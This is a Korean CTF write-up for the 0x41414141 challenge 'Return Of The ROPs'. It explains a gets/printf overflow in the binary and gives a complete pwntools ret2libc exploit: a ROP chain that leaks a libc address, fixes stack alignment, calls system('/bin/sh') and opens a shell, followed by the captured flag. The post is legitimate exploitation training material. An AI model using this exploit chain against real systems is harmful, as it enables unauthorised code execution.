-
[0x41414141 CTF] Return Of The ROPsCTF/WRITEUP 2021. 2. 2. 15:45
Disassembly 디스어셈블리
문제에서 제공하는 파일은 main.sh, PoW, return-of-the-rops로 세 개이다.
#!/bin/bash `pwd`/PoW if [ $? == 0 ]; then echo "\n" `pwd`/ret-of-the-rops fi
main.sh는 PoW가 통과하면 바이너리를 실행한다.
def PoW(res): for x in tqdm(product(ascii_lowercase, repeat=4)): d = "" for i in x: d += i y = md5(d.encode()).digest().hex() if y[-6:] == res: log.info("key : " + d) p.sendline(d) p.recvline() break dest = p.recvline().strip()[-6:] PoW(dest.decode())
PoW를 이번 대회에서 처음 접했기 때문에, 팀원한테 부탁해서 코드를 받았다.
undefined8 main(void) { char *format; ignore_me_init_buffering(); puts("What would you like to say?"); gets(&format); printf(&format); return 0; }
main은 get와 printf가 연달아 호출되어 스택 버퍼 오버플로우와 포맷 스트링 버그가 동시에 발생한다.
Return Oriented Programming
라이브러리 주소를 구하기 위해 gets의 got를 읽어온 뒤 main을 다시 호출하고, 'pop rdi' 가젯을 이용해 system("/bin/sh")를 호출하면 된다.
이때 두 번째 payload를 아래와 같이 구성했으나 공격에 실패했다.
payload = b"A"*0x28 payload += p64(prdi) payload += p64(binsh) payload += p64(system) p.sendlineafter("?\n", payload)
이는 stack pointer의 주소로 인해 발생하는 문제임을 알 수 있었다. 라이브러리의 system 함수는 스택 포인터의 주소가 16의 배수로 정렬된 상태가 아닐 경우 segmentation fault가 발생한다고 한다. [1]
따라서 아래와 같이 payload를 padding해주면 문제를 해결할 수 있다.
payload = b"A"*0x28 payload += p64(ret) payload += p64(prdi) payload += p64(binsh) payload += p64(system) p.sendlineafter("?\n", payload)
Code
더보기from pwn import * from hashlib import md5 from itertools import product from string import ascii_lowercase from tqdm import tqdm binary = "./ret-of-the-rops" lib = "/lib/x86_64-linux-gnu/libc-2.31.so" server = "185.172.165.118" port = 2222 # context.log_level = 'debug' context.binary = binary p = remote(server, port) e = ELF(binary) r = ROP(e) l = ELF(lib) def PoW(res): for x in tqdm(product(ascii_lowercase, repeat=4)): d = "" for i in x: d += i y = md5(d.encode()).digest().hex() if y[-6:] == res: log.info("key : " + d) p.sendline(d) p.recvline() break dest = p.recvline().strip()[-6:] PoW(dest.decode()) main = e.symbols["main"] puts_plt = e.plt["puts"] gets_got = e.got["gets"] prdi = (r.find_gadget(['pop rdi', 'ret']))[0] ret = (r.find_gadget(['ret']))[0] payload = b"A"*0x28 payload += p64(prdi) payload += p64(gets_got) payload += p64(puts_plt) payload += p64(main) p.sendlineafter("?\n", payload) p.recv(len(payload)) gets = u64(p.recv(6).ljust(8,b"\x00")) libc = gets - l.symbols["gets"] log.info("libc : " + hex(libc)) system = libc + l.symbols["system"] binsh = libc + next(l.search(b"/bin/sh\x00")) payload = b"A"*0x28 payload += p64(ret) payload += p64(prdi) payload += p64(binsh) payload += p64(system) p.sendlineafter("?\n", payload) p.interactive()
Flag
flag{w3_d0n't_n33d_n0_rdx_g4dg3t,ret2csu_15_d3_w4y_7821243}
Reference
'CTF > WRITEUP' 카테고리의 다른 글
[0x41414141 CTF] Faking till you're Making (0) 2021.02.02 [0x41414141 CTF] Moving signals (0) 2021.02.02 [0x41414141 CTF] echo (0) 2021.02.02 [0x41414141 CTF] The Pwn Inn (0) 2021.01.30 [0x41414141 CTF] external (0) 2021.01.27